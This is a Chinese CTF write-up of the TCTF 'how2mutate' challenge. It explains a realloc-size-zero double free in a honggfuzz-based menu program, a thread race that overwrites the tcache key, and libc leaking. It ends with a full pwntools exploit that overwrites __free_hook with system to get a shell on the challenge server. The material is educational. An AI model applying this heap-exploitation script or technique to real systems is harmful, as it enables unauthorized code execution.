TCTF线上赛how2mutate学习条件竞争DoubleFree的利用

阅读量642326

|

发布时间 : 2021-08-11 14:30:03

 

how2mutate这个题目给出了源码,是一个结合honggfuzz开源项目的题目。虽然看起来比较复杂,但是其实就是一个菜单题目,仔细分析一下就可以找到漏洞。

分析

这里我们先看一下题目的描述

using honggfuzz commit 7eecfc991d0ae540d9773a6feb8fac5012a55ed6

remote server is newest Ubuntu:20.04 docker (IMAGE ID 9873176a8ff5) . find the libs yourself :)

这里我首先是搜索了一下7eecfc991d0ae540d9773a6feb8fac5012a55ed6这个commit

导致一开始我以为这是一个溢出的漏洞。😅

这里我们首先看一下main函数

seeds = (uint8_t **)util_Calloc(8*16);
puts(menu);
while (1) {
    printf("> ");
    read(0, buf, 4);
    if (buf[0] == '1') {
        add_seed();
    } else if (buf[0] == '2') {
        mutate_seed();
    } else if (buf[0] == '3') {
        show_seed();
    } else if (buf[0] == '4') {
        delete_seed();
    } else if (buf[0] == '5') {
        set_mutate();
    } else if (buf[0] == '6') {
        subproc_runThread(&hfuzz, &fuzzthread, tofuzz, false);
    } else {
        break;
    }
}

前面的部分不太重要,这里只选取了一些重要的部分。也就是可以看到这里有6个功能,分别是add,mutate,show,delete,set_mutate以及fuzz。我们依次看一下,首先是add函数

void add_seed() {
    int i=0;
    while (i<10 && seeds[i]) i++;
    if (i<10) {
        printf("size: ");
        scanf("%d", &seedssz[i]);
        int sz = seedssz[i]+1;
        if (sz>0 && sz<0x8000) {
            printf("content: ");
            seeds[i] = util_Calloc(sz);
            read(0, seeds[i], seedssz[i]);
        }
    }
}

这里可以看到我们一共可以申请10个seed,其中size的大小是我们可以进行控制的。函数会按照我们输入的size调用util_Calloc函数申请size+1大小的内存空间,将得到的buf地址存储到seeds数组中,并将我们输入的size的值存储在seedssz数组中。注意到这里我们输入的size是可以为0的。

来看一下util_Calloc函数,这个是honggfuzz自己封装实现的内存分配函数

void* util_Realloc(void* ptr, size_t sz) {
    void* ret = realloc(ptr, sz);
    if (ret == NULL) {
        PLOG_W("realloc(%p, %zu)", ptr, sz);
        free(ptr);
        return NULL;
    }
    return ret;
}

那么这里很明显的存在一个漏洞,也就是传入的参数sz=0的时候,realloc的实际作用就相当于是free函数,返回值为NULL,将ptr指向的内存空间free掉之后,会进入之后的if分支,可以看到这里再一次free掉了ptr内存指针。也就是存在一个DoubleFree的漏洞。但是正常情况下这个漏洞没办法利用,因为这里的环境是20.04的环境,也就是对tcache的double free进行了检查。但是这里传入的参数是sz,也就是size+1,即add函数中无法触发这个漏洞。

我们继续向下分析。

void mutate_seed() {
    char buf[16];
    printf("index: ");
    read(0, buf, 4);
    if (buf[0]>='0' && buf[0]<='9') {
        int idx = buf[0]-'0';
        if (seeds[idx]) {
            run.dynfile->size = seedssz[idx];
            memcpy(run.dynfile->data, seeds[idx], seedssz[idx]);
            mangle_mangleContent(&run, 1);
            seedssz[idx] = run.dynfile->size;
            seeds[idx] = util_Realloc(seeds[idx], seedssz[idx]);
            memcpy(seeds[idx], run.dynfile->data, seedssz[idx]);
        }
    }
}

这个函数其实就是一个种子变异的函数。函数首先根据我们指定index将对应的种子的内容拷贝到run.dynfile->data函数中,之后调用mangle_mangleContent函数,我们可以结合honggfuzz分析一下这个函数,从分析可以得出这个函数的功能是执行种子的变异,我们看一下前半段的内容。

void mangle_mangleContent(run_t* run, int speed_factor) {
    static void (*const mangleFuncs[])(run_t * run, bool printable) = {
        mangle_Shrink,
        mangle_Expand,
        mangle_Bit,
        mangle_IncByte,
        mangle_DecByte,
        mangle_NegByte,
        mangle_AddSub,
        mangle_MemSet,
        mangle_MemClr,
        mangle_MemSwap,
        mangle_MemCopy,
        mangle_Bytes,
        mangle_ASCIINum,
        mangle_ASCIINumChange,
        mangle_ByteRepeat,
        mangle_Magic,
        mangle_StaticDict,
        mangle_ConstFeedbackDict,
        mangle_RandomBuf,
        mangle_Splice,
    };

    if (run->mutationsPerRun == 0U) {
        return;
    }
//...
}

可以看到这里如果run->mutationsPerRun为0的话,那么就直接返回不在执行之后的种子变异的操作。而这个成员变量我们可以通过set_mutate函数来进行设置

void set_mutate() {
    char buf[16];
    printf("mutationsPerRun: ");
    read(0, buf, 4);
    if (buf[0]>='0' && buf[0]<='9') {
        int x = buf[0]-'0';
        hfuzz.mutate.mutationsPerRun = x;
        run.mutationsPerRun = x;
    }
}

这里如果我们输入0的话,那么就会关闭种子变异的功能。继续分析一下mutate_seed函数,当mangle_mangleContent函数执行结束之后我们发现其再次调用了util_Realloc函数

seeds[idx] = util_Realloc(seeds[idx], seedssz[idx]);
memcpy(seeds[idx], run.dynfile->data, seedssz[idx]);

那么这里函数传入的参数就是seedssz[idx],也就是我们输入的size,是可以为0的,也就是这里是可以触发漏洞的。触发完毕漏洞之后会执行memcpy函数,这里的seeds[idx]的值就变为了0,但是由于seedssz[idx]的值也是0,因此这里不会报错。

 

条件竞争

在找到漏洞之后接下来就是如何利用的问题,由于20.04开启了tcache keys对tcache的double free进行了检测,因此这里我们还需要找到一种方法来对keys进行覆写。我们继续分析之后的函数,也就是可以对buf进行覆写的函数,并且这个函数要单独的执行一个线程,这样才能够在两次free中间进行覆写keys构造出double free。妥妥的条件竞争。

这里注意到在main函数的菜单中,fuzz功能是通过重新启动一个线程来完成的。

subproc_runThread(&hfuzz, &fuzzthread, tofuzz, false);
static void* tofuzz(void* arg) {
    for (int c=0; c<0xffffff; c++) {
        for (int i=0; i<10; i++)
            if (seeds[i]) {
                fuzzone(seeds[i]);
            }
    }
}

tofuzz的功能是对存在的没个seed执行fuzzone的调用。而fuzzone函数则是根据我们输入的种子的内容进行一个对buf的改写,看内容来说是进行路径的选择,重要的是这里会对buf[1:16]的内容进行改写,而tcache keys恰好就在偏移0x8的位置。

那么我们选择fuzzone的哪个路径呢。这里分析一下,我们想要的覆写keys的操作是在第一次free结束,第二次free开始之前完成。那么当第一次free结束之后,buf的前0x10就会被覆写,其中0-0x8会被覆写为tcache中下一个堆块的地址,而0x8-0x10会被覆写为keys的值。而注意到这里的堆地址一定是0x10对其的,因此这里的路径选择其实不多只能选择buf[0]=0的条件下的覆写,因为0的ascii码是0x30,只要我们布局合理就可以进入到这个路径中。

if (buf[0] == '0') {
    bool ok=true;
    for (i=2; i<15; i++) {
        buf[i] -= buf[i-1];
        if (buf[i] != buf[i+1])
            ok = false;
    }
    if (ok)
        puts("path 9");
}

之后就会改写buf[1:16]的内容,也就是将keys改写,在第二次free的时候就会成功触发,构造出double free。

那么这里的竞争窗口有多大呢,我们再来看一下两次free的流程。

void* ret = realloc(ptr, sz);
if (ret == NULL) {
    PLOG_W("realloc(%p, %zu)", ptr, sz);
    free(ptr);
    return NULL;
}

两次free中间会执行一个条件判断和一个日志输入,终点就是这个日志输出函数,这里的执行时间还是挺长的,竞争窗口很大,条件竞争构造DoubleFree可行。

 

利用

那么接下来就是DoubleFree的利用了。这里的DoubleFree很明显的可以转化为任意地址分配。

那么首先需要进行的就是地址泄漏,在本地调试的时候进行日志输出也就是PLOG_W函数执行的时候会进行一系列的地址分配,完成输出之后会残留有一个unsorted bin堆块,并且如果在add_seed函数中调用的话,最后还会输出一个堆地址,那么利用上述的地址分配到unsorted bin地址处就可以完成libc的地址泄漏了。

但是远程的环境与本地不同,并没有残留有unsorted bin的堆块,因此只能够提前部署一个unsorted bin的堆块进行libc地址的泄漏,之后再任意地址分配覆写free_hook为system

完整的exp如下

# -*- coding: utf-8 -*-
from pwn import *

file_path = "./how2mutate"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('111.186.59.27', 12345)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

def add_seed(size, content=b"\n"):
    p.sendlineafter("> ", "1")
    p.sendlineafter("size: ", str(size))
    if size > 0:
        p.sendafter("content: ", content)

def mutate_seed(index):
    p.sendlineafter("> ", "2")
    p.sendlineafter("index: ", str(index))

def show_seed():
    p.sendlineafter("> ", "3")

def delete_seed(index):
    p.sendlineafter("> ", "4")
    p.sendlineafter("index: ", str(index))

def set_mutate(mutate):
    p.sendlineafter("> ", "5")
    p.sendlineafter("mutationsPerRun: ", str(mutate))

def fuzz():
    p.sendlineafter("> ", "6")

heap_address = 0
set_mutate(0)

for i in range(1):
    add_seed(0x17, b"a" * 0x17)

for i in range(1):
    delete_seed(i)

add_seed(0)  # 0
mutate_seed(0)
p.recvuntil("realloc(")
heap_address = int(p.recvuntil(",", drop=True), 16)
log.success("heap address is {}".format(hex(heap_address)))

add_seed(0x17, b"a" * 0x17)  # 0
if debug:
    add_seed(0x70 + 0x400, b"a")  # 1
else:
    add_seed(0x80 + 0x400, b"a")  # 1

add_seed(0x17, b"a" * 0x17)  # 2

delete_seed(1)  # unsorted bin # 0x5a0
delete_seed(2)
delete_seed(0)  # 0x3a0

if debug:
    gdb.attach(p, "b *$rebase(0x7000)\nb *$rebase(0x1FB90)")
    log.success("heap address is {}".format(hex(heap_address)))
    log.success("libc address is {}".format(hex(libc.address)))
fuzz()

add_seed(0)

mutate_seed(0)

if debug:
    show_address = heap_address + 0x8f0 + 0x50

else:
    show_address = heap_address + 0x3a0

add_seed(0x10, p64(show_address))  # 0
add_seed(0x8, b"a")  # 1
add_seed(0x8, b"a")  # 2
add_seed(0x40, b"a")  # 3
log.success("show address is {}".format(hex(show_address)))

show_seed()
p.recvuntil("2: ")
libc.address = u64(p.recvline().strip().ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address is {}".format(hex(libc.address)))

add_seed(0x8, b"a" * 0x8)  # 4 = 2
if debug:
    add_seed(0x20, b"/bin/sh\x00")  # 5
    add_seed(0x20, b"/bin/sh\x00")  # 6
else:
    add_seed(0xc0, b"/bin/sh\x00")  # 5
add_seed(0x8, b"a" * 0x8)  # 6

if debug:
    delete_seed(6)
else:
    delete_seed(7)
fuzz()
delete_seed(4)
delete_seed(2)
add_seed(0x8, p64(libc.sym['__free_hook']))  # 3
add_seed(0x8, b"/bin/sh\x00")  # 5
add_seed(0x8, p64(libc.sym['system']))  # 7

delete_seed(5)

p.interactive()

本文由LYYL原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/248728

安全客 - 有思想的安全新媒体

分享到:微信
+15赞
收藏
LYYL
分享到:微信

发表评论

LYYL

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

  • 文章
  • 11
  • 粉丝
  • 28

热门推荐

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66